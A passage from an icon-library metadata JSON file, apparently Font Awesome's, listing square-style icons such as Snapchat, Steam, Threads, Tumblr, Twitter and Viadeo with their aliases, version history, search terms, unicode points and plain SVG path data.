      "terms": ["blog", "feed", "journal", "news", "writing"]
    },
    "styles": ["solid"],
    "unicode": "f143",
    "label": "Square Rss",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM96 136c0-13.3 10.7-24 24-24c137 0 248 111 248 248c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-110.5-89.5-200-200-200c-13.3 0-24-10.7-24-24zm0 96c0-13.3 10.7-24 24-24c83.9 0 152 68.1 152 152c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-57.4-46.6-104-104-104c-13.3 0-24-10.7-24-24zm0 120a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM96 136c0-13.3 10.7-24 24-24c137 0 248 111 248 248c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-110.5-89.5-200-200-200c-13.3 0-24-10.7-24-24zm0 96c0-13.3 10.7-24 24-24c83.9 0 152 68.1 152 152c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-57.4-46.6-104-104-104c-13.3 0-24-10.7-24-24zm0 120a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["solid"]
  },
  "square-share-nodes": {
    "aliases": {
      "names": ["share-alt-square"],
      "unicodes": {
        "secondary": ["10f1e1"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["forward", "save", "send", "social"]
    },
    "styles": ["solid"],
    "unicode": "f1e1",
    "label": "Square Share Nodes",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM384 160c0 35.3-28.7 64-64 64c-15.4 0-29.5-5.4-40.6-14.5L194.1 256l85.3 46.5c11-9.1 25.2-14.5 40.6-14.5c35.3 0 64 28.7 64 64s-28.7 64-64 64s-64-28.7-64-64c0-2.5 .1-4.9 .4-7.3L174.5 300c-11.7 12.3-28.2 20-46.5 20c-35.3 0-64-28.7-64-64s28.7-64 64-64c18.3 0 34.8 7.7 46.5 20l81.9-44.7c-.3-2.4-.4-4.9-.4-7.3c0-35.3 28.7-64 64-64s64 28.7 64 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM384 160c0 35.3-28.7 64-64 64c-15.4 0-29.5-5.4-40.6-14.5L194.1 256l85.3 46.5c11-9.1 25.2-14.5 40.6-14.5c35.3 0 64 28.7 64 64s-28.7 64-64 64s-64-28.7-64-64c0-2.5 .1-4.9 .4-7.3L174.5 300c-11.7 12.3-28.2 20-46.5 20c-35.3 0-64-28.7-64-64s28.7-64 64-64c18.3 0 34.8 7.7 46.5 20l81.9-44.7c-.3-2.4-.4-4.9-.4-7.3c0-35.3 28.7-64 64-64s64 28.7 64 64z"
      }
    },
    "free": ["solid"]
  },
  "square-snapchat": {
    "aliases": {
      "names": ["snapchat-square"]
    },
    "changes": ["4.6.0", "5.0.0", "6.0.0-beta1", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2ad",
    "label": "Snapchat Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384,32H64A64,64,0,0,0,0,96V416a64,64,0,0,0,64,64H384a64,64,0,0,0,64-64V96A64,64,0,0,0,384,32Zm-3.907,319.309-.083.1a32.364,32.364,0,0,1-8.717,6.823,90.26,90.26,0,0,1-20.586,8.2,12.694,12.694,0,0,0-3.852,1.76c-2.158,1.909-2.1,4.64-4.4,8.55a23.137,23.137,0,0,1-6.84,7.471c-6.707,4.632-14.244,4.923-22.23,5.23-7.214.274-15.39.581-24.729,3.669-3.761,1.245-7.753,3.694-12.377,6.533-11.265,6.9-26.68,16.353-52.3,16.353s-40.925-9.4-52.106-16.279c-4.657-2.888-8.675-5.362-12.543-6.64-9.339-3.08-17.516-3.4-24.729-3.67-7.986-.307-15.523-.6-22.231-5.229a23.085,23.085,0,0,1-6.01-6.11c-3.2-4.632-2.855-7.8-5.254-9.895a13.428,13.428,0,0,0-4.1-1.834,89.986,89.986,0,0,1-20.313-8.127,32.905,32.905,0,0,1-8.3-6.284c-6.583-6.757-8.276-14.776-5.686-21.824,3.436-9.338,11.571-12.111,19.4-16.262,14.776-8.027,26.348-18.055,34.433-29.884a68.236,68.236,0,0,0,5.985-10.567c.789-2.158.772-3.329.241-4.416a7.386,7.386,0,0,0-2.208-2.217c-2.532-1.676-5.113-3.353-6.882-4.5-3.27-2.141-5.868-3.818-7.529-4.98-6.267-4.383-10.65-9.04-13.4-14.245a28.4,28.4,0,0,1-1.369-23.584c4.134-10.924,14.469-17.706,26.978-17.706a37.141,37.141,0,0,1,7.845.83c.689.15,1.37.307,2.042.482-.108-7.43.058-15.357.722-23.119,2.358-27.261,11.912-41.589,21.874-52.994a86.836,86.836,0,0,1,22.28-17.931C188.254,100.383,205.312,96,224,96s35.828,4.383,50.944,13.016a87.169,87.169,0,0,1,22.239,17.9c9.961,11.406,19.516,25.709,21.874,52.995a231.194,231.194,0,0,1,.713,23.118c.673-.174,1.362-.332,2.051-.481a37.131,37.131,0,0,1,7.844-.83c12.5,0,22.82,6.782,26.971,17.706a28.37,28.37,0,0,1-1.4,23.559c-2.74,5.2-7.123,9.861-13.39,14.244-1.668,1.187-4.258,2.864-7.529,4.981-1.835,1.187-4.541,2.947-7.164,4.682a6.856,6.856,0,0,0-1.951,2.034c-.506,1.046-.539,2.191.166,4.208a69.015,69.015,0,0,0,6.085,10.792c8.268,12.1,20.188,22.313,35.454,30.407,1.486.772,2.98,1.5,4.441,2.258.722.332,1.569.763,2.491,1.3,4.9,2.723,9.2,6.01,11.455,12.153C387.821,336.915,386.269,344.7,380.093,351.309Zm-16.719-18.461c-50.313-24.314-58.332-61.918-58.689-64.749-.431-3.379-.921-6.035,2.806-9.472,3.594-3.328,19.541-13.19,23.965-16.278,7.33-5.114,10.534-10.219,8.16-16.495-1.66-4.316-5.686-5.976-9.961-5.976a18.5,18.5,0,0,0-3.993.448c-8.035,1.743-15.838,5.769-20.354,6.857a7.1,7.1,0,0,1-1.66.224c-2.408,0-3.279-1.071-3.088-3.968.564-8.783,1.759-25.925.373-41.937-1.884-22.032-8.99-32.948-17.432-42.6-4.051-4.624-23.135-24.654-59.536-24.654S168.53,134.359,164.479,139c-8.434,9.654-15.531,20.57-17.432,42.6-1.386,16.013-.141,33.147.373,41.937.166,2.756-.68,3.968-3.088,3.968a7.1,7.1,0,0,1-1.66-.224c-4.507-1.087-12.31-5.113-20.346-6.856a18.494,18.494,0,0,0-3.993-.449c-4.25,0-8.3,1.636-9.961,5.977-2.374,6.276.847,11.381,8.168,16.494,4.425,3.088,20.371,12.958,23.966,16.279,3.719,3.437,3.237,6.093,2.805,9.471-.356,2.79-8.384,40.394-58.689,64.749-2.946,1.428-7.96,4.45.88,9.331,13.88,7.628,23.111,6.807,30.3,11.43,6.093,3.927,2.5,12.394,6.923,15.449,5.454,3.76,21.583-.266,42.335,6.6,17.433,5.744,28.116,22.015,58.963,22.015s41.788-16.3,58.938-21.973c20.795-6.865,36.89-2.839,42.336-6.6,4.433-3.055.822-11.522,6.923-15.448,7.181-4.624,16.411-3.8,30.3-11.472C371.36,337.355,366.346,334.333,363.374,332.848Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M384,32H64A64,64,0,0,0,0,96V416a64,64,0,0,0,64,64H384a64,64,0,0,0,64-64V96A64,64,0,0,0,384,32Zm-3.907,319.309-.083.1a32.364,32.364,0,0,1-8.717,6.823,90.26,90.26,0,0,1-20.586,8.2,12.694,12.694,0,0,0-3.852,1.76c-2.158,1.909-2.1,4.64-4.4,8.55a23.137,23.137,0,0,1-6.84,7.471c-6.707,4.632-14.244,4.923-22.23,5.23-7.214.274-15.39.581-24.729,3.669-3.761,1.245-7.753,3.694-12.377,6.533-11.265,6.9-26.68,16.353-52.3,16.353s-40.925-9.4-52.106-16.279c-4.657-2.888-8.675-5.362-12.543-6.64-9.339-3.08-17.516-3.4-24.729-3.67-7.986-.307-15.523-.6-22.231-5.229a23.085,23.085,0,0,1-6.01-6.11c-3.2-4.632-2.855-7.8-5.254-9.895a13.428,13.428,0,0,0-4.1-1.834,89.986,89.986,0,0,1-20.313-8.127,32.905,32.905,0,0,1-8.3-6.284c-6.583-6.757-8.276-14.776-5.686-21.824,3.436-9.338,11.571-12.111,19.4-16.262,14.776-8.027,26.348-18.055,34.433-29.884a68.236,68.236,0,0,0,5.985-10.567c.789-2.158.772-3.329.241-4.416a7.386,7.386,0,0,0-2.208-2.217c-2.532-1.676-5.113-3.353-6.882-4.5-3.27-2.141-5.868-3.818-7.529-4.98-6.267-4.383-10.65-9.04-13.4-14.245a28.4,28.4,0,0,1-1.369-23.584c4.134-10.924,14.469-17.706,26.978-17.706a37.141,37.141,0,0,1,7.845.83c.689.15,1.37.307,2.042.482-.108-7.43.058-15.357.722-23.119,2.358-27.261,11.912-41.589,21.874-52.994a86.836,86.836,0,0,1,22.28-17.931C188.254,100.383,205.312,96,224,96s35.828,4.383,50.944,13.016a87.169,87.169,0,0,1,22.239,17.9c9.961,11.406,19.516,25.709,21.874,52.995a231.194,231.194,0,0,1,.713,23.118c.673-.174,1.362-.332,2.051-.481a37.131,37.131,0,0,1,7.844-.83c12.5,0,22.82,6.782,26.971,17.706a28.37,28.37,0,0,1-1.4,23.559c-2.74,5.2-7.123,9.861-13.39,14.244-1.668,1.187-4.258,2.864-7.529,4.981-1.835,1.187-4.541,2.947-7.164,4.682a6.856,6.856,0,0,0-1.951,2.034c-.506,1.046-.539,2.191.166,4.208a69.015,69.015,0,0,0,6.085,10.792c8.268,12.1,20.188,22.313,35.454,30.407,1.486.772,2.98,1.5,4.441,2.258.722.332,1.569.763,2.491,1.3,4.9,2.723,9.2,6.01,11.455,12.153C387.821,336.915,386.269,344.7,380.093,351.309Zm-16.719-18.461c-50.313-24.314-58.332-61.918-58.689-64.749-.431-3.379-.921-6.035,2.806-9.472,3.594-3.328,19.541-13.19,23.965-16.278,7.33-5.114,10.534-10.219,8.16-16.495-1.66-4.316-5.686-5.976-9.961-5.976a18.5,18.5,0,0,0-3.993.448c-8.035,1.743-15.838,5.769-20.354,6.857a7.1,7.1,0,0,1-1.66.224c-2.408,0-3.279-1.071-3.088-3.968.564-8.783,1.759-25.925.373-41.937-1.884-22.032-8.99-32.948-17.432-42.6-4.051-4.624-23.135-24.654-59.536-24.654S168.53,134.359,164.479,139c-8.434,9.654-15.531,20.57-17.432,42.6-1.386,16.013-.141,33.147.373,41.937.166,2.756-.68,3.968-3.088,3.968a7.1,7.1,0,0,1-1.66-.224c-4.507-1.087-12.31-5.113-20.346-6.856a18.494,18.494,0,0,0-3.993-.449c-4.25,0-8.3,1.636-9.961,5.977-2.374,6.276.847,11.381,8.168,16.494,4.425,3.088,20.371,12.958,23.966,16.279,3.719,3.437,3.237,6.093,2.805,9.471-.356,2.79-8.384,40.394-58.689,64.749-2.946,1.428-7.96,4.45.88,9.331,13.88,7.628,23.111,6.807,30.3,11.43,6.093,3.927,2.5,12.394,6.923,15.449,5.454,3.76,21.583-.266,42.335,6.6,17.433,5.744,28.116,22.015,58.963,22.015s41.788-16.3,58.938-21.973c20.795-6.865,36.89-2.839,42.336-6.6,4.433-3.055.822-11.522,6.923-15.448,7.181-4.624,16.411-3.8,30.3-11.472C371.36,337.355,366.346,334.333,363.374,332.848Z"
      }
    },
    "free": ["brands"]
  },
  "square-steam": {
    "aliases": {
      "names": ["steam-square"]
    },
    "changes": ["4.1.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1b7",
    "label": "Steam Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M185.2 356.5c7.7-18.5-1-39.7-19.6-47.4l-29.5-12.2c11.4-4.3 24.3-4.5 36.4.5 12.2 5.1 21.6 14.6 26.7 26.7 5 12.2 5 25.6-.1 37.7-10.5 25.1-39.4 37-64.6 26.5-11.6-4.8-20.4-13.6-25.4-24.2l28.5 11.8c18.6 7.8 39.9-.9 47.6-19.4zM400 32H48C21.5 32 0 53.5 0 80v160.7l116.6 48.1c12-8.2 26.2-12.1 40.7-11.3l55.4-80.2v-1.1c0-48.2 39.3-87.5 87.6-87.5s87.6 39.3 87.6 87.5c0 49.2-40.9 88.7-89.6 87.5l-79 56.3c1.6 38.5-29.1 68.8-65.7 68.8-31.8 0-58.5-22.7-64.5-52.7L0 319.2V432c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-99.7 222.5c-32.2 0-58.4-26.1-58.4-58.3s26.2-58.3 58.4-58.3 58.4 26.2 58.4 58.3-26.2 58.3-58.4 58.3zm.1-14.6c24.2 0 43.9-19.6 43.9-43.8 0-24.2-19.6-43.8-43.9-43.8-24.2 0-43.9 19.6-43.9 43.8 0 24.2 19.7 43.8 43.9 43.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M185.2 356.5c7.7-18.5-1-39.7-19.6-47.4l-29.5-12.2c11.4-4.3 24.3-4.5 36.4.5 12.2 5.1 21.6 14.6 26.7 26.7 5 12.2 5 25.6-.1 37.7-10.5 25.1-39.4 37-64.6 26.5-11.6-4.8-20.4-13.6-25.4-24.2l28.5 11.8c18.6 7.8 39.9-.9 47.6-19.4zM400 32H48C21.5 32 0 53.5 0 80v160.7l116.6 48.1c12-8.2 26.2-12.1 40.7-11.3l55.4-80.2v-1.1c0-48.2 39.3-87.5 87.6-87.5s87.6 39.3 87.6 87.5c0 49.2-40.9 88.7-89.6 87.5l-79 56.3c1.6 38.5-29.1 68.8-65.7 68.8-31.8 0-58.5-22.7-64.5-52.7L0 319.2V432c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-99.7 222.5c-32.2 0-58.4-26.1-58.4-58.3s26.2-58.3 58.4-58.3 58.4 26.2 58.4 58.3-26.2 58.3-58.4 58.3zm.1-14.6c24.2 0 43.9-19.6 43.9-43.8 0-24.2-19.6-43.8-43.9-43.8-24.2 0-43.9 19.6-43.9 43.8 0 24.2 19.7 43.8 43.9 43.8z"
      }
    },
    "free": ["brands"]
  },
  "square-threads": {
    "changes": ["6.4.1", "6.4.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e619",
    "label": "Square Threads",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1690904784,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM294.2 244.3c19.5 9.3 33.7 23.5 41.2 40.9c10.4 24.3 11.4 63.9-20.2 95.4c-24.2 24.1-53.5 35-95.1 35.3h-.2c-46.8-.3-82.8-16.1-106.9-46.8C91.5 341.8 80.4 303.7 80 256v-.1-.1c.4-47.7 11.5-85.7 33-113.1c24.2-30.7 60.2-46.5 106.9-46.8h.2c46.9 .3 83.3 16 108.2 46.6c12.3 15.1 21.3 33.3 27 54.4l-26.9 7.2c-4.7-17.2-11.9-31.9-21.4-43.6c-19.4-23.9-48.7-36.1-87-36.4c-38 .3-66.8 12.5-85.5 36.2c-17.5 22.3-26.6 54.4-26.9 95.5c.3 41.1 9.4 73.3 26.9 95.5c18.7 23.8 47.4 36 85.5 36.2c34.3-.3 56.9-8.4 75.8-27.3c21.5-21.5 21.1-47.9 14.2-64c-4-9.4-11.4-17.3-21.3-23.3c-2.4 18-7.9 32.2-16.5 43.2c-11.4 14.5-27.7 22.4-48.4 23.5c-15.7 .9-30.8-2.9-42.6-10.7c-13.9-9.2-22-23.2-22.9-39.5c-1.7-32.2 23.8-55.3 63.5-57.6c14.1-.8 27.3-.2 39.5 1.9c-1.6-9.9-4.9-17.7-9.8-23.4c-6.7-7.8-17.1-11.8-30.8-11.9h-.4c-11 0-26 3.1-35.6 17.6l-23-15.8c12.8-19.4 33.6-30.1 58.5-30.1h.6c41.8 .3 66.6 26.3 69.1 71.8c1.4 .6 2.8 1.2 4.2 1.9l.1 .5zm-71.8 67.5c17-.9 36.4-7.6 39.7-48.8c-8.8-1.9-18.6-2.9-29-2.9c-3.2 0-6.4 .1-9.6 .3c-28.6 1.6-38.1 15.5-37.4 27.9c.9 16.7 19 24.5 36.4 23.6l-.1-.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM294.2 244.3c19.5 9.3 33.7 23.5 41.2 40.9c10.4 24.3 11.4 63.9-20.2 95.4c-24.2 24.1-53.5 35-95.1 35.3h-.2c-46.8-.3-82.8-16.1-106.9-46.8C91.5 341.8 80.4 303.7 80 256v-.1-.1c.4-47.7 11.5-85.7 33-113.1c24.2-30.7 60.2-46.5 106.9-46.8h.2c46.9 .3 83.3 16 108.2 46.6c12.3 15.1 21.3 33.3 27 54.4l-26.9 7.2c-4.7-17.2-11.9-31.9-21.4-43.6c-19.4-23.9-48.7-36.1-87-36.4c-38 .3-66.8 12.5-85.5 36.2c-17.5 22.3-26.6 54.4-26.9 95.5c.3 41.1 9.4 73.3 26.9 95.5c18.7 23.8 47.4 36 85.5 36.2c34.3-.3 56.9-8.4 75.8-27.3c21.5-21.5 21.1-47.9 14.2-64c-4-9.4-11.4-17.3-21.3-23.3c-2.4 18-7.9 32.2-16.5 43.2c-11.4 14.5-27.7 22.4-48.4 23.5c-15.7 .9-30.8-2.9-42.6-10.7c-13.9-9.2-22-23.2-22.9-39.5c-1.7-32.2 23.8-55.3 63.5-57.6c14.1-.8 27.3-.2 39.5 1.9c-1.6-9.9-4.9-17.7-9.8-23.4c-6.7-7.8-17.1-11.8-30.8-11.9h-.4c-11 0-26 3.1-35.6 17.6l-23-15.8c12.8-19.4 33.6-30.1 58.5-30.1h.6c41.8 .3 66.6 26.3 69.1 71.8c1.4 .6 2.8 1.2 4.2 1.9l.1 .5zm-71.8 67.5c17-.9 36.4-7.6 39.7-48.8c-8.8-1.9-18.6-2.9-29-2.9c-3.2 0-6.4 .1-9.6 .3c-28.6 1.6-38.1 15.5-37.4 27.9c.9 16.7 19 24.5 36.4 23.6l-.1-.1z"
      }
    },
    "free": ["brands"]
  },
  "square-tumblr": {
    "aliases": {
      "names": ["tumblr-square"]
    },
    "changes": ["3.2.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f174",
    "label": "Tumblr Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-82.3 364.2c-8.5 9.1-31.2 19.8-60.9 19.8-75.5 0-91.9-55.5-91.9-87.9v-90h-29.7c-3.4 0-6.2-2.8-6.2-6.2v-42.5c0-4.5 2.8-8.5 7.1-10 38.8-13.7 50.9-47.5 52.7-73.2.5-6.9 4.1-10.2 10-10.2h44.3c3.4 0 6.2 2.8 6.2 6.2v72h51.9c3.4 0 6.2 2.8 6.2 6.2v51.1c0 3.4-2.8 6.2-6.2 6.2h-52.1V321c0 21.4 14.8 33.5 42.5 22.4 3-1.2 5.6-2 8-1.4 2.2.5 3.6 2.1 4.6 4.9l13.8 40.2c1 3.2 2 6.7-.3 9.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-82.3 364.2c-8.5 9.1-31.2 19.8-60.9 19.8-75.5 0-91.9-55.5-91.9-87.9v-90h-29.7c-3.4 0-6.2-2.8-6.2-6.2v-42.5c0-4.5 2.8-8.5 7.1-10 38.8-13.7 50.9-47.5 52.7-73.2.5-6.9 4.1-10.2 10-10.2h44.3c3.4 0 6.2 2.8 6.2 6.2v72h51.9c3.4 0 6.2 2.8 6.2 6.2v51.1c0 3.4-2.8 6.2-6.2 6.2h-52.1V321c0 21.4 14.8 33.5 42.5 22.4 3-1.2 5.6-2 8-1.4 2.2.5 3.6 2.1 4.6 4.9l13.8 40.2c1 3.2 2 6.7-.3 9.1z"
      }
    },
    "free": ["brands"]
  },
  "square-twitter": {
    "aliases": {
      "names": ["twitter-square"]
    },
    "changes": ["1.0.0", "5.0.0", "6.1.2", "6.4.2"],
    "ligatures": [],
    "search": {
      "terms": ["social network", "tweet"]
    },
    "styles": ["brands"],
    "unicode": "f081",
    "label": "Square Twitter",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1690904784,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM351.3 199.3v0c0 86.7-66 186.6-186.6 186.6c-37.2 0-71.7-10.8-100.7-29.4c5.3 .6 10.4 .8 15.8 .8c30.7 0 58.9-10.4 81.4-28c-28.8-.6-53-19.5-61.3-45.5c10.1 1.5 19.2 1.5 29.6-1.2c-30-6.1-52.5-32.5-52.5-64.4v-.8c8.7 4.9 18.9 7.9 29.6 8.3c-9-6-16.4-14.1-21.5-23.6s-7.8-20.2-7.7-31c0-12.2 3.2-23.4 8.9-33.1c32.3 39.8 80.8 65.8 135.2 68.6c-9.3-44.5 24-80.6 64-80.6c18.9 0 35.9 7.9 47.9 20.7c14.8-2.8 29-8.3 41.6-15.8c-4.9 15.2-15.2 28-28.8 36.1c13.2-1.4 26-5.1 37.8-10.2c-8.9 13.1-20.1 24.7-32.9 34c.2 2.8 .2 5.7 .2 8.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM351.3 199.3v0c0 86.7-66 186.6-186.6 186.6c-37.2 0-71.7-10.8-100.7-29.4c5.3 .6 10.4 .8 15.8 .8c30.7 0 58.9-10.4 81.4-28c-28.8-.6-53-19.5-61.3-45.5c10.1 1.5 19.2 1.5 29.6-1.2c-30-6.1-52.5-32.5-52.5-64.4v-.8c8.7 4.9 18.9 7.9 29.6 8.3c-9-6-16.4-14.1-21.5-23.6s-7.8-20.2-7.7-31c0-12.2 3.2-23.4 8.9-33.1c32.3 39.8 80.8 65.8 135.2 68.6c-9.3-44.5 24-80.6 64-80.6c18.9 0 35.9 7.9 47.9 20.7c14.8-2.8 29-8.3 41.6-15.8c-4.9 15.2-15.2 28-28.8 36.1c13.2-1.4 26-5.1 37.8-10.2c-8.9 13.1-20.1 24.7-32.9 34c.2 2.8 .2 5.7 .2 8.5z"
      }
    },
    "free": ["brands"]
  },
  "square-up-right": {
    "aliases": {
      "names": ["external-link-square-alt"],
      "unicodes": {
        "composite": ["2197"],
        "secondary": ["10f360"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "diagonal",
        "direction",
        "external-link-square",
        "intercardinal",
        "new",
        "northeast",
        "open",
        "share",
        "up-right arrow"
      ]
    },
    "styles": ["solid"],
    "unicode": "f360",
    "label": "Square Up Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 32c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384zM320 313.4V176c0-8.8-7.2-16-16-16H166.6c-12.5 0-22.6 10.1-22.6 22.6c0 6 2.4 11.8 6.6 16L184 232l-66.3 66.3C114 302 112 306.9 112 312s2 10 5.7 13.7l36.7 36.7c3.6 3.6 8.5 5.7 13.7 5.7s10-2 13.7-5.7L248 296l33.4 33.4c4.2 4.2 10 6.6 16 6.6c12.5 0 22.6-10.1 22.6-22.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M384 32c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384zM320 313.4V176c0-8.8-7.2-16-16-16H166.6c-12.5 0-22.6 10.1-22.6 22.6c0 6 2.4 11.8 6.6 16L184 232l-66.3 66.3C114 302 112 306.9 112 312s2 10 5.7 13.7l36.7 36.7c3.6 3.6 8.5 5.7 13.7 5.7s10-2 13.7-5.7L248 296l33.4 33.4c4.2 4.2 10 6.6 16 6.6c12.5 0 22.6-10.1 22.6-22.6z"
      }
    },
    "free": ["solid"]
  },
  "square-viadeo": {
    "aliases": {
      "names": ["viadeo-square"]
    },
    "changes": ["4.6.0", "5.0.0", "5.7.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2aa",
    "label": "Viadeo Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM280.7 381.2c-42.4 46.2-120 46.6-162.4 0-68-73.6-19.8-196.1 81.2-196.1 13.3 0 26.6 2.1 39.1 6.7-4.3 8.4-7.3 17.6-8.4 27.1-9.7-4.1-20.2-6-30.7-6-48.8 0-84.6 41.7-84.6 88.9 0 43 28.5 78.7 69.5 85.9 61.5-24 72.9-117.6 72.9-175 0-7.3 0-14.8-.6-22.1-11.2-32.9-26.6-64.6-44.2-94.5 27.1 18.3 41.9 62.5 44.2 94.1v.4c7.7 22.5 11.8 46.2 11.8 70 0 54.1-21.9 99-68.3 128.2l-2.4.2c50 1 86.2-38.6 86.2-87.2 0-12.2-2.1-24.3-6.9-35.7 9.5-1.9 18.5-5.6 26.4-10.5 15.3 36.6 12.6 87.3-22.8 125.6zM309 233.7c-13.3 0-25.1-7.1-34.4-16.1 21.9-12 49.6-30.7 62.3-53 1.5-3 4.1-8.6 4.5-12-12.5 27.9-44.2 49.8-73.9 56.7-4.7-7.3-7.5-15.5-7.5-24.3 0-10.3 5.2-24.1 12.9-31.6 21.6-20.5 53-8.5 72.4-50 32.5 46.2 13.1 130.3-36.3 130.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM280.7 381.2c-42.4 46.2-120 46.6-162.4 0-68-73.6-19.8-196.1 81.2-196.1 13.3 0 26.6 2.1 39.1 6.7-4.3 8.4-7.3 17.6-8.4 27.1-9.7-4.1-20.2-6-30.7-6-48.8 0-84.6 41.7-84.6 88.9 0 43 28.5 78.7 69.5 85.9 61.5-24 72.9-117.6 72.9-175 0-7.3 0-14.8-.6-22.1-11.2-32.9-26.6-64.6-44.2-94.5 27.1 18.3 41.9 62.5 44.2 94.1v.4c7.7 22.5 11.8 46.2 11.8 70 0 54.1-21.9 99-68.3 128.2l-2.4.2c50 1 86.2-38.6 86.2-87.2 0-12.2-2.1-24.3-6.9-35.7 9.5-1.9 18.5-5.6 26.4-10.5 15.3 36.6 12.6 87.3-22.8 125.6zM309 233.7c-13.3 0-25.1-7.1-34.4-16.1 21.9-12 49.6-30.7 62.3-53 1.5-3 4.1-8.6 4.5-12-12.5 27.9-44.2 49.8-73.9 56.7-4.7-7.3-7.5-15.5-7.5-24.3 0-10.3 5.2-24.1 12.9-31.6 21.6-20.5 53-8.5 72.4-50 32.5 46.2 13.1 130.3-36.3 130.3z"
      }
    },
    "free": ["brands"]
  },
